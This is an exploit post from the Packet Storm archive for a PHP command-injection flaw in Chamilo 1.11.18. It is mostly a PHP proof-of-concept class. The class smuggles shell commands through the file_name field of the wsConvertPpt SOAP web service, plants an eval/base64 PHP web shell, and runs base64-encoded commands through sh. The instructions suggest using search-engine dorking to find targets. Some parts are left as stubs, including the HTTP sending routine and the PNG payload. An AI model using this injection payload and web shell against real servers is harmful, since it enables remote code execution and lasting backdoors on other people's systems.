exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Chamilo 1.11.18 Code Injection

Chamilo 1.11.18 Code Injection
Posted Oct 11, 2024
Authored by indoushka

Chamilo version 1.11.18 suffers from a PHP code injection vulnerability.

tags | exploit, php
SHA-256 | 96e2fd6800e4eae0de444f883558a648f96062c2ef4ccf1b635571eb64c66dde

Chamilo 1.11.18 Code Injection

Change Mirror Download
=============================================================================================================================================
| # Title : Chamilo 1.11.18 Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |
| # Vendor : https://chamilo.org/en/2023/02/03/10-new-features-in-chamilo-1-11-18/ |
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] uses the CURL to Allow remote command .

[+] Line 123 set your target .

[+] save code as poc.php .

[+] USage : cmd => c:\www\test\php poc.php

[+] PayLoad :

<?php

class ChamiloExploit {
private $targetUri;
private $webshellName;
private $postParam;

public function __construct($targetUri, $webshell = null) {
$this->targetUri = rtrim($targetUri, '/');
$this->webshellName = $webshell ?: $this->generateRandomWebshellName();
}

private function generateRandomWebshellName() {
return bin2hex(random_bytes(8)) . '.php';
}

private function soapRequest($cmd) {
$pptSize = rand(720, 1440) . 'x' . rand(360, 720);
return <<<EOS
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="https://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1="{$this->targetUri}"
xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="https://www.w3.org/2001/XMLSchema"
xmlns:ns2="https://xml.apache.org/xml-soap"
xmlns:SOAP-ENC="https://schemas.xmlsoap.org/soap/encoding/"
SOAP-ENV:encodingStyle="https://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:wsConvertPpt>
<param0 xsi:type="ns2:Map">
<item>
<key xsi:type="xsd:string">file_data</key>
<value xsi:type="xsd:string"></value>
</item>
<item>
<key xsi:type="xsd:string">file_name</key>
<value xsi:type="xsd:string">`{{}}`.pptx'|" |{$cmd}||a #</value>
</item>
<item>
<key xsi:type="xsd:string">service_ppt2lp_size</key>
<value xsi:type="xsd:string">{$pptSize}</value>
</item>
</param0>
</ns1:wsConvertPpt>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
EOS;
}

public function uploadWebshell() {
$this->postParam = bin2hex(random_bytes(4));

$phpPayload = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";
$pngWebshell = $this->injectPhpPayloadPng($phpPayload);

if ($pngWebshell === null) {
return null;
}

$payload = base64_encode($pngWebshell);
$cmd = "echo {$payload}|openssl enc -a -d > ./{$this->webshellName}";

$response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));
return $response;
}

private function injectPhpPayloadPng($phpPayload) {
// Implement your logic to inject PHP payload into a PNG image
// For demonstration purposes, we'll return a dummy PNG data
return pack('H*', '89504E470D0A1A0A...'); // Example PNG header
}

public function executePhp($cmd) {
$payload = base64_encode($cmd);
$response = $this->sendRequest('POST', "/main/inc/lib/ppt2png/{$this->webshellName}", "application/x-www-form-urlencoded", [$this->postParam => $payload]);
return $response;
}

public function executeCommand($cmd) {
$payload = base64_encode($cmd);
$cmd = "echo {$payload}|openssl enc -a -d|sh";
$response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));
return $response;
}

public function check() {
$marker = bin2hex(random_bytes(4));
$res = $this->executeCommand("echo {$marker}");
if ($res && strpos($res, 'wsConvertPptResponse') !== false && strpos($res, $marker) !== false) {
return 'Vulnerable';
} else {
return 'Safe';
}
}

public function exploit($payload) {
switch ($payload['type']) {
case 'php':
$res = $this->uploadWebshell();
if (!$res || strpos($res, 'wsConvertPptResponse') === false) {
throw new Exception('Web shell upload error.');
}
$this->executePhp($payload['encoded']);
break;
case 'unix_cmd':
$this->executeCommand($payload['encoded']);
break;
case 'linux_dropper':
// Implement Linux dropper logic
break;
}
}

private function sendRequest($method, $uri, $ctype, $data) {
// Implement your HTTP request logic here (using cURL or similar)
// For demonstration purposes, return a dummy response
return 'Dummy response';
}
}

// Usage
$exploit = new ChamiloExploit('https://target.com', 'webshell.php');
$exploit->check();



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close